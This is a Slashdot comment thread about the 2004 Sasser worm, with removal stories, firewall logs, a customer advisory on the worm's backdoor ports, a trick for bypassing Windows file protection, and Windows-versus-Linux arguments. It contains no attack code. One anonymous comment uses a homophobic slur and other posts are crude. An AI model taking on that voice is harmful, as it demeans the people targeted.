      3- download updates automatically, but ask for installation (only admin users can install; they are asked if you they want to go ahead with the install)
      4- automatically install at a fixed time (default 2 or 3 am); if a reboot is needed when a user logs in, it asks to reboot.

      by default its #3.

      in 2k, the option can be changed in the control panel (sp3 or higher needed).

      in XP, right click on "my computer", properties, go to the automatic updates tab.

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    2. Re:Windows is a joke, but hey, smile. by t_allardyce · · Score: 1

      had number 2 set, although come to think of it, it hasnt asked me for permission to download for several weeks now, is that normal?

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  67. mmm....firewall by hillg3 · · Score: 1

    deny tcp any any eq 445 (hitcnt=74147) .... thats since last night.

  68. I got it today! by thegsusfreek · · Score: 2, Interesting

    Wow. I just got that virus this morning (and I'm on a dial-up modem!!!). I had no idea what was going on, but I figured it was a virus. I saw a new program in the "Tasks" window, so I closed the window, found and deleted the file, and destroyed the Registery Key that it had made for reference in MSCONFIG.EXE. That was all there was to it! I'm glad that the creator of the virus was either a dork or a "nice" virus creator and made the virus very easy to get rid of.

  69. Consumers aren't the only ones to blame. by Vandil+X · · Score: 1
    Every pc user... should have a firewall and anti virus sofware running.
    (sarcasm) I'm sure that's the first thing Joe Sixpack thinks of when he buys his hp Pavillion at CompUSA. (/sarcasm)
    If they havent learned yet they deserve to be infected.
    If everyone were introduced to personal computing with broad technical knowledge of the possible expolits, your statement might have been valid. Most consumers think of computers as VCRs.
    Heres the extremly complicated solution: Auto update everyday.
    Maybe Joe Sixpack prefers to not have his phone line tied up for hours? Maybe Joe Sixpack doesn't want/need broadband Internet access for faster patching?

    I agree the problem is the lack of consumer education, but chastising/blaming the consumers isn't going to get anything done. Companies like Microsoft need to ship their products securely, with ports closed, firewalls on, and with desktop shortcuts/documents telling users why it's important to patch.

    Thankfully, Microsoft hopes to accomplish much of this with XP Service Pack 2, hence why the Service Pack is taking so long to be released.
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  70. Terminology by tritone · · Score: 2, Insightful

    Of course, here on slashdot, it's common enough to correctly identify this sort of malware as a "windows worm," but if this terminology could make it into the more general media, it might raise the general consciousness to make people more aware of the alternatives to Windows. Maybe some informed and polite letters to your local newspaper might make a difference.

  71. I Love It, Now get back to work by Anonymous Coward · · Score: 0


    or didn't you want a paycheck this month ?

    with love
    your boss

  72. What about the SYSTEM account? by Vandil+X · · Score: 1

    Microsoft should instead find a way to abandon the use of the "SYSTEM" account, the password-less "super user" account that all applications use to install themselves and modify core system settings.

    Or at least disable Internet Explorer/ActiveX's abilities to grant web pages use of the SYSTEM account. (Microsoft could just as easily develop a Windows-updating program similar to "Software Update" on OSX or yum.)

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    1. Re:What about the SYSTEM account? by Anonymous Coward · · Score: 0

      IE doesn't run under the SYSTEM account. Where did you get that idea?

      In order for a webpage to get access to SYSTEM, it would have to hack IE (break the sandbox), and then hack a local service. Ridiclous waste of effort when 90% of Windows users are Administrator anyway.

    2. Re:What about the SYSTEM account? by Vancorps · · Score: 1
      First of all, the SYSTEM user has a very long password by default, always has. Service accounts run with the abilities of the person installing it. So if you are an admin then you can run the process as system, but on as an admin. Normal users or even power users do not have the ability to submit anything directly to system. Its just like all those daemons that run as root on any standard linux distro. You can also disable ActiveX alltogether so who cares? When in doubt use Firefox anyhow. Most every site will work just fine and IE and just lie their dormant on your software firewalls watch list for execution.

      Also, SYSTEM writes to all the mfts and does all the low level work that in reality most Windows administrators shouldn't have access to.

      Additionally, SUS and Group policy can update just about any application across a domain, a feature OS X has a long ways to go. They will have to stick with scripting for now, it works, and there are some great UIs for it now so its sometimes even easy.

      I think more people need to use Tripwire or some other similar app, learn which files are changed even before a user logs in. Good information gathering tool it is.

    3. Re:What about the SYSTEM account? by Anonymous Coward · · Score: 0

      Yeah, that SYSTEM account is stupid. I hate unified "super user" accounts. If they only used an all or nothing security model like UNIX's root, they'd be a lot better off.

      BT

    4. Re:What about the SYSTEM account? by Anonymous Coward · · Score: 0

      I thought that Windows Update used the 'Windows Update' service that is already running as SYSTEM.

    5. Re:What about the SYSTEM account? by rodgster · · Score: 1

      The problem is users under XP run as administrator by default (with no password).

      That and have you seen the price for tripwire for windows? Under Linux it's free. Under windows, it's out of reach for most users ($$$$). At least last time I checked. BTW Norton Anti Virus used to have a checksum utility back in the old days. It was removed somewhere about NAV2000 IIRC.

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    6. Re:What about the SYSTEM account? by Vancorps · · Score: 1
      It is about $325USD which for a corporate environment is easy change. There are plenty of other checksum apps, Tripwire just arranges things nicely.

      Also with XP users can run as Administrator by default but the very last step to an installation is the creation of a new users for your use. This is an option that exists in Linux or Netware or really any OS. You always have the option to run as an admin without a password and its usually an option left to you in the installer.

      Back to the cost of tripwire, the price is really inconsequential because the info you learn from it is really the same on every machine unless you are using it on a server in which case it is worth its price on Windows.
    7. Re:What about the SYSTEM account? by rodgster · · Score: 1

      But the new users created at the install screen have administrative privledge. You have to go to the control panel and manually remove it. And the password is blank by default. You are not even prompted to create a password (at least for all the XP Pro installs IIRC I've done). Personally, since these (the ones I work on) are machines intended for a business environment, I just reboot at the create users screen (reset switch since the F'ing cancel isn't available) and bypass it. You then proceed to a standard win2k login prompt.

      And on the subject of tripwire, $325/machine is expensive. The Dot.com days are gone. That's one reason why Linux is making so much headway.

      If you could point me to a cheap/free checksum app (win32), I'd much appreciate it.

      Thanks,

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    8. Re:What about the SYSTEM account? by Anonymous Coward · · Score: 0
      The SYSTEM account has always had a long password by default
      Actually, the SYSTEM account has the blank password, unless you change it. HOWEVER, the SYSTEM account does not have the necessary privileges to log in over the network, or on the console. That is why you should never give the "Everyone" group permission to "Log in over the network" or "Log in Locally".
  73. Fine. by JoeBaldwin · · Score: 1, Interesting

    I'm happy, I'm behind a firewall on XP right now, and am firewalling off another PC running XP at the same time. Both PCs are safe, both are running fine.

    But still, it's stupid to have any OS that has all these worms going around. I'd like to see Microsoft go through what they already have in their codebase and pull these little fuckers out, then patch 'em. Patch 'em good, patch 'em hard.

    Yeah, it's not open source, less eyeballs on the code etc etc, but I'm sorry but if Microsoft, a corporation which is not only making in the region of several billion $PLURALCURRENCY a year but is a frickin' defense contractor, can't invest some money in poking through their code and going "nope, some script kiddie piece of shit is gonna 0wn that" then there's no hope for us all.

    (Note: I have just moved to XP from Linux because of hardware not working. So far I haven't got Blaster or been cracked in any other way. I must be lucky or something. *g*)

  74. if it blocks your favorite removal/anti-virus site by Xiph · · Score: 2, Informative

    try using a google cache.
    i've told soo many others by so now, so i might as well put it on slashdot

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    Blah blah sig blah blah blah irony blah blah
  75. bwhahaha ! by freaks · · Score: 2, Funny

    " Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you? " roflol windows-update is the virus factory ;)

  76. Re:Removal Instructions [mirrors] by AvantLegion · · Score: 5, Funny
    Here's a few mirrors for those removal instructions, in case the rash of post-bug traffic slows things down:

    http://fedora.redhat.com
    http://www.gentoo.org
    http://www.debian.org
    http://www.linux-mandrake.com
    http://www.slackware.com

  77. Obligatory quote from Linux/*BSD/Mac users by imnoteddy · · Score: 4, Funny

    "Ha Ha!"
    Nelson, various Simpsons episodes

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    1. Re:Obligatory quote from Linux/*BSD/Mac users by Microlith · · Score: 1

      Of course, those of us that run windows and patch regularly say this:

      "shove it up your ass!"

  78. Synchronicity by Omestes · · Score: 1

    For the first in history, /. is useful! I was wondering why my box was acting silly, open /., get and error message that an error in lsass.exe will shutdown my computer, and loe, the headline is my problems.... vava la /.!

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  79. my anonymous company's problem by Anonymous Coward · · Score: 0

    Picture a company with a userbase of tens of thousands, multiple hardware types, almost every version of windows with none of them locked down, and limited protection on the server side. Management is just recently getting into the idea of implementing protection at the workstation level while in the meantime viruses and spyware run rampant. To compound this problem, microsoft releases a ton of patches all at once which increases the time it takes to deploy them all. Many of them can get fixed via pushes, but not all of them are networked the same way because each area has their own way of doing things. In order to get antivirus and such installed on many PCs, most of which we don't know where they physically are (inventory for licensing and hardware are just now being started to an extent), you need file and print sharing active. Some people know this so they turn off their file and print sharing. They are running ancient hardware that locks up when you run a virus scanner in the background and they can't get any funding to upgrade their hardware. SMS and lockdown and things are beginning to be considered, but when it isn't the viruses or spyware blowing things up it is the network servers running on what amounts to in some cases computers weaker than the client computers. To top it off, there is no anti spyware software that is enterprise ready at this time so management hasn't bought into anything. Almost every computer you look at has something nasty on it. At least one company claims to have a program that is enterprise ready in the beta stage, but we are not even a beta tester yet. Meanwhile the people who started all of this get promotions because they are saving the company money by not doing anything but bandaiding one small problem at a time.

  80. Anyone else notice? by Pranjal · · Score: 1

    Anyone else notice that all new worms start infecting computers on a friday and it really becomes big when people come back to work on Monday. Sounds like a planned attack to me.

  81. Sasser et al by Cavelier · · Score: 1

    While Sasser is the worm making the news in relation to the LSASS exploit, it's easy to lose sight of the three Gaobot variants that are *also* using the exploit and is quite frankly, a lot nastier.

    I just hope the other variants don't get lost in the hype about Sasser, or ISP's and security folks are going to have much bigger problems on their hands than slowed computers rebooting a lot.

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    1. Re:Sasser et al by insecuritiez · · Score: 1

      Gaobot/Phatbot/Polybot are able to scan for vulnerable hosts but are not yet spreading by this exploit. Granted that's only a few days away at the most. I imagine the *Bot authors are just debugging their code for maximum bug free affect. Sasser has a number of bugs in it and doesn't infect all systems that well.

  82. Thats why I dont use Windows. by Imidazole · · Score: 0

    FreeBSD-based OSX 10.3.4 + A little intelligence = No web-browsing, file-downloading paranoia = Not needing 10 different system-slowing antivirus, antispyware, antimalware, antipopup, anti-spam software.

  83. killing IE by Beer_Smurf · · Score: 4, Funny

    You say "killing IE" like it's a bad thing.

  84. Re:Linux is vunerable too (The anti-anti-windows F by ajs318 · · Score: 4, Insightful
    1. Linux isn't as good as Windows, Windows has more accountability and support.
    Microsoft could withdraw support for Windows at any time. Linux has independent support from a community of users.
    2. If Linux was used as much as Windows then Viruses would be as common, instead of incredable rare.
    Linux is secure by design. Privilege separation, memory protection and so forth. Most distributions force you to create a non-root user at installation time.
    3. Windows is cheaper then Linux even though Linux is free. It's a TCO type of thing.
    What you mean is that it's cheaper to hire somebody to fix a Windows box than a Linux box. There is a grain of truth in this. Windows often packs up for no appareny reason. Almost any unskilled monkey can "fix" a broken Windows box just by hoicking out the power lead, counting to ten and putting it back. Linux only ever misbehaves with a good reason, and requires someone who knows their arsehole from their earhole to fix it.
    4. Gimp sucks compared to Photoshop.
    This sounds like an ad hominem attack. At best it's a red herring. Photoshop is an Adobe product, nothing to do with Windows or Linux.
    5. Open source is insecure by default. Only by hidding your secrets are they kept safe.
    Thou smokest crack. If the security of your code depends on a secret that you hope an attacker will not discover, then as soon as an attacker discovers that secret then your code is insecure. The security of Linux does not depend on one big, centrally-kept secret. Cf. public key encryption.
    6. IE is better then Firefox because my kids can play shockwave games on Disney.com
    Then try the full version of Mozilla, which definitely supports the Flash player plugin {though I'm not convinced you aren't just lying, Firefox might well support plugins}. If you don't need Flash, but you would like tabbed browsing, pop-up blocking, a Javascript debugging console, cookie management and speed, then Firefox certainly does it.
    7. MS has Exchange, Linux doesn't.
    Linux has Sendmail. 'Nuff said.
    8. OO.org sucks compared the usability of Office
    You haven't said how OO.o "sucks", nor even which release you are talking about, so I have to presume you are merely parroting.
    9. Linux isn't ready for the Desktop.
    You are merely parroting.
    10. Grandma can't install Linux.
    Awwwwk! Pieces of eight! Polly want a cracker! Grandma can't install Windows either.
    11. Can't play Everquest on Linux.
    Blame the makers of Everquest, or find another game to play. See also point 4.
    12. Users are the problem, Not Microsoft.
    Just goes to show ..... if you say enough things then at least one of them might turn out to be true. Many users need to get a clue, I'll agree. But I have to say that writing a mail client which treats unknown file types as "executable" -- and executes them without the user's consent -- sounds seriously like aiding and abetting virus propagation. Yeah, that was years ago. See also point 9.
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  85. classic behaviour? by Nightreaver · · Score: 1, Funny

    Initial analysis seems to indicate classic Blaster-style worm behaviour.

    This made me think of a quote from "Broken Arrow", when Giles Prentice (Frank Whaley) is told there is a "broken arrow", he says,
    "I don't know what's scarier - losing nuclear weapons or that it happens so often that we have a name for it."

  86. so thats why my /var/log/messages is so big today by Indy1 · · Score: 2, Interesting

    normally my home firewall (linux of course) logs about 100k bytes in messages per day (i have iptables log all dropped packets). Today alone its over 50 megs. Normally i have logrotate.conf set for weekly rotations, but i switched it to daily, and made sure my var partition has more then enough room (3 gigs free, so i think i am ok).

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  87. Since you're at it... by tinkerton · · Score: 1

    Microsoft should stop publishing these exploits. It practically forces you to update to preempt the attacks that follow.

    Well, to be more accurate, they should delay it longer.

  88. Well yeah.... by C0rinthian · · Score: 2, Funny
    Windows. Only 20 remote holes in the default install since 13th April.

    Otherwise it would be called "Microsoft Walls"
  89. Free windows firewall by RogerWiclo · · Score: 1

    For Windows I'm using a free firewall by Agnitum. You can get it here:

    http://www.agnitum.com/products/outpost/

    I love it. I've installed it on any machine that the owner asks for help with. It most basic use can be mastered by any user. Anytime something new tries to come in or go out a windows pops up and asks what you want to do.

    It has some more advanced features to. Perfect for that non-computer-science persoon you know who uses a computer.

  90. Re:always annoyed the hell out of me by airdrummer · · Score: 0

    4 my bro., running any mac os, the use of an "ok" button as a dismiss-this-alertbox target: "no, it's NOT fuckin' OK" that the connection was terminated for lack of activity...dial-up's bane;-)

  91. Call Volume Skyrockets by Anonymous Coward · · Score: 0

    Yah this Virus is causing all kinds of hell here at Dell... Our call volume for a normal Saturday is agents waiting for calls for 10 minutes at a time... TODAY, however we have 60 calls waiting in the queue... 90% of which are this virus. And the sad thing is, outside of a OS Reinstall we cannot do anything for these guys except refer them to the article son how to fix it or send them to oursoftware support... Gotta love policy *rolls eyes*

  92. Wow! Bushfire! by reignbow · · Score: 2, Informative

    Our student dorm has its own network volunteer group, which I'm part of. This worm made a big entrance tonight, scoring 27 infections in two hours, on a network comprising about 300 machines, maybe 220 of which are running Windows. We had to take the suckers off the network AND because that's part of our self-imposed policy, drop a filled-in piece of paper into their letter boxes. I felt like the mail man, running around in the entrance hall with a wad of papers under my arm. Oh, and our upstream ISP got pissed at us, threatening to cut our connection alltogether. To sum it all up, I'm going to kill the guy who wrote this, right after I cheerfully refuse to reconnect all the suckers who fell for it!

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  93. New Windows Worm on the Loose by Peale · · Score: 2, Funny

    New Windows Worm on the Loose

    What, it's been a week already?

  94. Math tools by Anonymous Coward · · Score: 0

    "Writing a suite of mathematical modelling tools to be released as Open Source Software is educationally beneficial."

    Check out Scilab. It does what Matlab does pretty much the same way except that Matlab has friendlier GUIs where Scilab is mostly command line. Translating scripts between the two is trivial.

    http://scilabsoft.inria.fr/

  95. Amazing by empaler · · Score: 1

    - You were apparently the only one who could see the funny bit of my post (apart from the mods).

    I miss stupidpeopledie.com.

  96. Expensive compiler by tepples · · Score: 1

    But can you do all of this while compiling OOo for Windows ???

    I can minimize a MinGW or Cygwin window with a compile job running while surfing the web in Firefox and listening to the badger song on repeat in Winamp. However, OpenOffice.org requires an expensive compiler unless the project has already tweaked the OO.o suite makefiles to be compatible with Microsoft's two-week-old inexpensive Visual C++ compiler.

  97. Can't resist by wwvuillemot · · Score: 1
    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    Don't you mean to ask if all good Windows-using Slashdotters haven't already migrated to Mac OS X or Linux yet?

    yeah, so troll. I know. lol.

  98. goodbye windows update by sir_cello · · Score: 4, Funny


    Using Symantec AV, I LiveUpdate'd signatures, only to find that it decared System32/w32sup.exe as a trojan and quarantined it.

    1. Re:goodbye windows update by Anonymous Coward · · Score: 0

      I don't understand why this was modded up. w32sup.exe is a dialler.

    2. Re:goodbye windows update by smeenz · · Score: 2, Insightful
      and... what's so funny about that ?

      http://pestpatrol.com/pestinfo/w/w32sup.asp

  99. Why is it that....!? by Amon+CMB · · Score: 0

    ... these "worms" aren't ever found in APPLES?

    God, I love being a Mac user.

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  100. Please cut MS some slack by Anonymous Coward · · Score: 0


    MSCEs' need the work.

  101. notice to customers by Anonymous Coward · · Score: 2, Insightful

    Here's a copy of a notice we've been sending to customers on this issue:

    There's another worm spreading across the Internet, called the "Sasser Worm".

    Vulnerable systems include: Windows 2000, Windows Server 2003, Windows XP

    See:
    http://us.mcafee.com/virusInfo/default.asp?id=desc ription&virus_k=125007
    http://securityresponse.symantec.com/avcenter/venc /data/w32.sasser.worm.html

    Microsoft security bulletin on the vulnerability:
    http://www.microsoft.com/technet/security/Bulletin /MS04-011.mspx

    Among other things, this worm installs an ftp server and a remote shell system to further propagate itself across Windows. It likely has the capability of giving remote users full access and control of the compromised machine, therefore any data on the system may be vulnerable.

    Once a machine is infected, it starts 128 instances of itself, trying to spread the worm to other Microsoft PCs. The worm also attempts to disable the ability to shut down or restart the computer/server. The worm may also compromise the "system restore" function under some versions of Windows, so trying to revert back to an older configuration setup might reinstate the compromise!

    As you might expect, our servers here are NOT directly affected or vulnerable. However, this is another "blaster" type worm which, once it infects a vulnerable Microsoft system, begins to randomly bombard other systems all around the Internet. The end result will be potentially severe denial-of-service attacks to all systems (in other words, services may be slow or unresponsive due to the traffic increase on the Internet from compromised systems).

    We're going to have to wait until Monday to probably see the full-effect of this worm. The ability it will have to disrupt major services online is going to depend upon whether or not people have been routinely running Windows Update (http://windowsupdate.microsoft.com/).

    If you are running a vulnerable system (Windows Server 2000/2003 and XP are vulnerable; Windows 95/98/ME are not vulnerable) and haven't run Windows Update in the last two weeks, there's a good chance you are vulnerable, if not infected if you are not behind a firewall and have been online for awhile.

    This is yet another annoyance for most of us with Windows on our client PCs. By now everyone should be in the habit of automating or running Windows Update every few days.

    The real problem are ISPs and web hosting companies that are using Microsoft NT/200x Server and XP for Internet based services. (And we don't do this but there are tons who do) This is particularly dangerous for e-commerce applications. The admins of these servers have to be forever diligent in making sure their systems are secure. Who knows what critical information (customer data, credit card numbers, etc.) are sitting around on these machines. It seems every week there's a new major vulnerability with Microsoft's servers. This is why we don't use MS products for e-commerce and critical services -- we don't want to risk the security of our clients. I urge everyone to be careful about providing e-commerce to systems running Microsoft servers - they have proven to be exponentially more vulnerable than Unix/Linux counterparts. (if you visit a web page and you see URLs with filenames like .ASP or .CFM, that's an indication the system may be running on a MS server and potentially more vulnerable).

    As usual, those of us that do run secure systems are now going to be hammered by infected systems so bear with us while we hold out to see if admins of Microsoft Servers can fix their problems fast before their machines spam the Internet with data and cripple everyone else.

    1. Re:notice to customers by ThisIsFred · · Score: 1

      The real problem are ISPs and web hosting companies that are using Microsoft NT/200x Server and XP for Internet based services. (And we don't do this but there are tons who do) This is particularly dangerous for e-commerce applications.

      I don't understand... Why would ports 445, 5554, and 9996 be open to the general public on any Windows server? Maybe it's time to look for insecure boxes, and find out which companies or contractors are setting up the insecure worm-magnets.

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      "A fool and his freedom are soon parted"
      -RMS
    2. Re:notice to customers by Anonymous Coward · · Score: 0

      445 is used for SMB file/printer sharing and it's open by default in windows. This is the port the worm attacks.

      5554 and 9996 are ports the worm uses for downloading its files and for the backdoor it creates.

  102. your ISP was right by Anonymous Coward · · Score: 0

    I've been getting these packets since before this worm existed.

    They are location service broadcasts and seeks from PCs on the same subnet as you. Yeah, that means Windows filesharing.

    This isn't necessarily a virus thing. Did you check the packets to see if they contain exploit packets?

    I think you're probably wrong.

    1. Re:your ISP was right by mark-t · · Score: 1
      Yes, I was previously getting traffic of this nature too, but not in this quantity. At its peak, this was on the order of tens of thousands of requests per hour.

      Further, only about half of them were on the same subnet as myself. The other half were from completely different domains.

  103. Why wonder? by khasim · · Score: 1

    The first step is to learn what the various types of "malware" are and how each is spread.

    #1. Worms
    #2. Viruses
    #3. Trojans

    Then you have to learn about the security model of each of the systems you are discussing.

    Then you have to look at the default installation model ('cause most users will take the default).

    Then you have to look at the past patch/release behaviour of the groups developing those systems.

    Once you do all of that, you'll find that Linux would be far more resistant than Windows is.

    But, until you do all of that, you won't believe anyone who says that.

    #1. Linux comes with fewer services installed by default and fewer services run with root level permissions. This limits the spread of worms.

    #2. Linux is more resistant to viruses because regular users cannot alter executables.

    #3. Which leaves trojans and those are mostly spread by executable email attachments. Take away the ability to execute attachments by clicking on them and you limit the spread of trojans.

    So, to be as bad as Windows, a single Linux distribution that ran as root by default would have to be in use by 51%+ of the population and that distribution would have to install the same services and have them actively listening for connections and also have an email client that ran attachments with a single click.

    Now you'll see why people mock Microsoft's "security" so much. All of those flaws are in Windows.

  104. Patching / Firewalls by gorfie · · Score: 4, Insightful

    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

    Should read "Of course, all good Slashdotters patch their systems and have a firewall, don't you?".

    Running something other than Windows is not a good reason to ignore security.

    1. Re:Patching / Firewalls by MeNeXT · · Score: 1
      Can someone please explain how a firewall would prevent this problem. Some of the services affected are needed to run on a public server, they would be redirected through anyways...

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    2. Re:Patching / Firewalls by toast0 · · Score: 2, Insightful

      Actually, none of the affected ports for this attack are necessary.

      Usefull public well known ports:

      22 ssh
      25 smtp
      80 http
      110 pop3
      123 ntp
      220 imap
      443 https

    3. Re:Patching / Firewalls by freeweed · · Score: 1

      This worm attacks ports that myself, and 99.99999% of the Windows using population out there, have no need to have open.

      Microsoft, in their infinite wisdom, leaves these open by default, and provides no practical way to close them.

      Ergo, a firewall.

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  105. Grounded by krray · · Score: 3, Interesting

    And in other news ... Delta flights grounded today due to "a computer glitch"

    I have to wonder...

    1. Re:Grounded by /dev/trash · · Score: 2, Interesting

      I heard on the news that it was NOT "a security or safety issue"

    2. Re:Grounded by Anonymous Coward · · Score: 1, Interesting

      Agreed 100%.

      It's not a security issue as nobody tried to hack into their systems *specifically* -- and it's not a safety issue (with the planes) as they were grounded and *can* keep track of them.

      The fact remains though...

      ?

    3. Re:Grounded by Anonymous Coward · · Score: 0

      Hmm...well, then I guess they should have patched their systems when the patch was released...TWO AND A HALF WEEKS AGO!!

    4. Re:Grounded by Anonymous Coward · · Score: 0

      Someone should try to verify this. It is awfully suspicious.

  106. Of course I have a firewall! by Kelz · · Score: 1

    Right click Local Area Connection, click advanced, and click enable firewall!

  107. European Air War by tqft · · Score: 1

    The only game I really play on my home machine is European Air War. Transgaming have lsited it as soemthing like - crashes at start or won't start.

    Anyone ever had any luck otherwise?

    Bochs: I think EAW on Win98 on Bocs on a PII 400Mhz just won't work

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  108. Recurring theme: Release of patch causes exploit by David+Hume · · Score: 1

    Is that reduced timeline maybe an example of what this /. article from a couple months ago was talking about? Essentially it stated that a lot of the new worms are actually being caused by the reverse engineering of patches to easily find exploits.


    This appears to be a recurring theme on Slashdot -- i.e., that release of information about the vulnerability and/or the patch causes the exploit (attached to Slow Down the Security Patch Cycle?). See also here (attached to Secret Repairs Preceded TCP Flaw Release).

  109. "Linux Most Breached OS" by Anonymous Coward · · Score: 0

    Guess you missed the article Slashdot posted which showed that Linux is the OS with the most breaches on the net.

    Hell, Gnome, Debian, Gentoo, FSF, Savannah, and more were all broken into in the span of six months. Pretty embarrassing for the Linux community, don't you think?

    1. Re:"Linux Most Breached OS" by Anonymous Coward · · Score: 0

      Embarassing? Of course not! Leenucks fags will conveniently ignore any bad press about their stuff, while trumpeting even the smallest bad thing happening to Microsoft. Oh well, I guess that's what happens when your chosen OS is dead last in marketshare, and has no hopes of ever becoming mainstream.

  110. HELP! by Anonymous Coward · · Score: 0

    Will WINE support Windows Update so that I don't have to buy a Microsoft Windows license to run Windows update ?

  111. That function is... by jez9999 · · Score: 1

    ... disabled on my machine. See, they idiotically count stuff as trivial as 'notepad.exe' as a system file which gets replaced if changed. Trouble is, I like replacing it. For my text editor of choice.

    1. Re:That function is... by Anonymous Coward · · Score: 0

      Well, don't complain when some 1996-era installer hoses your Windows install then.

      Most Windows texteditors do a good job stealing all the associations from Notepad. My complaint is that the "MS Comic Sans" font is marked as a system file. I just want to nuke that piece o shit.

  112. Social engineering by YrWrstNtmr · · Score: 2, Insightful

    ...but how feasible WOULD it be to make worms for Linux?

    "Here's your new screensaver!
    You will be prompted for the admin password so we can install this and set it up.
    [prompt] - Install screensaver|install [keylogger/SMTP/ZombieClient]
    Please enter your admin password again to verify the settings for security
    Thank you! We appreciate your business! Click here to send this to all your friends!"

    Currently, Linux is more secure because, among other things, its users are generally more clued up. Put the general Bonzi fan on Lindows, and you'd see much the same thing.

    1. Re:Social engineering by freeweed · · Score: 1

      ...but how feasible WOULD it be to make worms for Linux?

      "Here's your new screensaver!
      You will be prompted for the admin password so we can install this and set it up


      Wonderful, except that worms spread without user intervention. I'm pretty sure the one we're talking about here wouldn't spread at all between Linux machines.

      Viruses, on the other hand...

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  113. Re:Linux is vunerable too (The anti-anti-windows F by Anonymous Coward · · Score: 1, Insightful

    [I}5. Open source is insecure by default. Only by hidding your secrets are they kept safe. [/i}

    Ah yes....then why is the NSA even bothering with Linux? Ever heard of Selinux? The NSA doesn't seem to think the openess is a problem.

  114. Firewalls by jesser · · Score: 1

    Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall

    I don't understand why so many geeks promote using single-computer firewalls. Which makes more sense:

    1. Run 5 unnecessary services that listen on various ports, then use a firewall to prevent anyone from connecting to them.

    2. Don't run any of the services and don't use a firewall.

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    1. Re:Firewalls by RogerWiclo · · Score: 1

      I absolutely agree. I should know better, but I still just put the mouse on that "next" button and start clicking until the dialog boxes go away.

      However, once somebody's computer starts to have pornographic popup windows show up every 5 minutes, and their computer reboot every 15 minutes, it's not to hard to get them to pay more attention anytime the firewall dialog box shows up.

      P.S. I've also heard that zonealarm is a good firewall.

  115. Heh by TheSpoom · · Score: 2, Funny

    I work doing tech support for desktop computers made by Compaq and HP, both of which are sold at Wal-Mart. A friend of mine said "welcome to Hell" when I came in today. Now I know why :^(

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  116. He was joking by metalhed77 · · Score: 1

    He was reffering to trojans/viruses spread in emails w/ executable attachments and titled with some fake security bulletin.

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  117. check state ethics laws by zogger · · Score: 1

    don't put up with it, wasting tax payers dollars and contributing to the spread of worms on everyone's net. Most states have various ethics laws that might apply to the state worker even if he is just an employee, and not an elected official.
    There's honest mistakes, then there's a derelection of service or duty, this sounds like the latter from your description. You may be allowed to file a formal complaint against that bozo, or notify up the food chain there until you get to the nearest elected official in charge of the bozo. If it's like my state it can't be ignored, either.

  118. So was I by empaler · · Score: 1

    I just thought it would be apparent from context...

    But thanks, anyway ;)

  119. I like insightful by empaler · · Score: 1

    Someone modding me insightful for that one is much funnier than the joke itself... :O

  120. I would have assumed so by metalhed77 · · Score: 1

    But you got modded insightful. I guess I shouldn't have confused mod intent with poster intent.

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  121. It does what? by james_in_denver · · Score: 1, Funny

    The new worm

    The worm typically shuts down the computer then automatically re-boots it, repeating the procedure several times. Hyppoenen said computers behind a firewall should be spared from the attack.

    And how is this different than a typical Windows install?

  122. Let's not forget the Slackers out there... by big_groo · · Score: 1

    If for some unknown reason you're NOT using swaret...
    "swaret --update"
    "swaret --upgrade"

  123. Re:Linux is vunerable too (The anti-anti-windows F by AnyoneEB · · Score: 2, Informative
    Then try the full version of Mozilla, which definitely supports the Flash player plugin {though I'm not convinced you aren't just lying, Firefox might well support plugins}. If you don't need Flash, but you would like tabbed browsing, pop-up blocking, a Javascript debugging console, cookie management and speed, then Firefox certainly does it.
    FYI, FireFox supports Flash and Java plug-ins fine. All previous versions I've used (since Phoenix v0.4) have supported those plug-ins as well.
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  124. I don't see how this is news... by The+Master+Control+P · · Score: 1, Flamebait

    It is common knowledge that microsoft products are by default about as safe from penetration as a prostitute's vagina, and Microsoft is no doubt aware that most of it's users will never change the default settings.

    Microsoft had, and continues to, demonstrate a complete inability to produce secure software regardless of supposed efforts to do so, probably because they are suffering from chronic featuritis and will not remove an insecure item if it will also break some (most likely useless) feature.

    For as long as this mentality continues, their products will remain bloated and insecure.

    We are now approaching the point where other operating systems can compete with Windows tit for tat, and as those alternatives surpass Windows, Microsoft's featuritis and inability to rectify the mess that is their source code will turn around and kick their feet out from under them.

  125. I was as surprised as anyone by empaler · · Score: 1

    I was aiming at funny, but was completely surprised when I saw the moderation results...

  126. Re:Linux is vunerable too (The anti-anti-windows F by Anonymous Coward · · Score: 1, Funny

    That's interesting.

    Apperently your sarcasm detector is set on "low".

    (ps. it was a joke) :P

  127. Ah, cruel fate.... by GrnArmadillo · · Score: 1

    Had last run WU a day or two before this patch came out. And unfortuntaely was reading this article from a dorm LAN instead of either my apartment or work LAN's, which are fire-walled. :(

    FYI, what I got hit with was actually a variant of a different worm updated to use this exploit, meaning the worst may be yet to come when someone splices this onto a worm that actually does damage. Once I got updated virus defs from another machine and rebooted in safe mode Norton ate the thing for lunch no problem. Only their write-up says that the virus makes reg key changes that weren't there. And now I have no idea whether some of the massive pile of alphabet soup in my process manager is residual virus stuff or not. Sigh.

  128. Does Windows Update force Product Activation ? by Anonymous Coward · · Score: 0

    Can I use it without having to mess with Product Activation?
    Sure I have a licence, but don't want to run into extra efforts.

    Does anybody out there know what would happen if I updated from SP1 (which brought me quite some trouble in this respect)?

  129. You should consider doing it correctly... by Ayanami+Rei · · Score: 1

    change the associations in the registry to point at your new app. (Start with CLSID under HKLM, also under Internet Explorer in software settings to change your view source command. Even a blind search and replace is probably safe enough.)

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    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
    1. Re:You should consider doing it correctly... by jez9999 · · Score: 1

      Trouble is, there are an awful lot of apps that just blindly launch notepad.exe for stuff. It's the default for IE, although I accept you can change it; but what about something like mIRC? When you double click on a logfile to view it, guess what? It opens up notepad. There are a lot of apps out there that do this. It just turns out to be a hell of a lot simpler to replace notepad.exe. What would be good is to leave protection on, but just unprotect notepad.exe. I don't suppose that's possible?

    2. Re:You should consider doing it correctly... by phasm42 · · Score: 1

      A quick way around this is to go into WINNT\System32\dllcache and replace notepad.exe with the desired file. Then delete WINNT\System32\notepad.exe. When SFP restores the file, it will generally pull a copy from the dllcache folder, and it should use the new file in dllcache. I did a quick test of this replacing notepad.exe with the command prompt, and it seemed to work.

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      "No one likes working in a hamster wheel, and your shop smells of cedar shavings from here." - TaleSpinner
    3. Re:You should consider doing it correctly... by jez9999 · · Score: 1

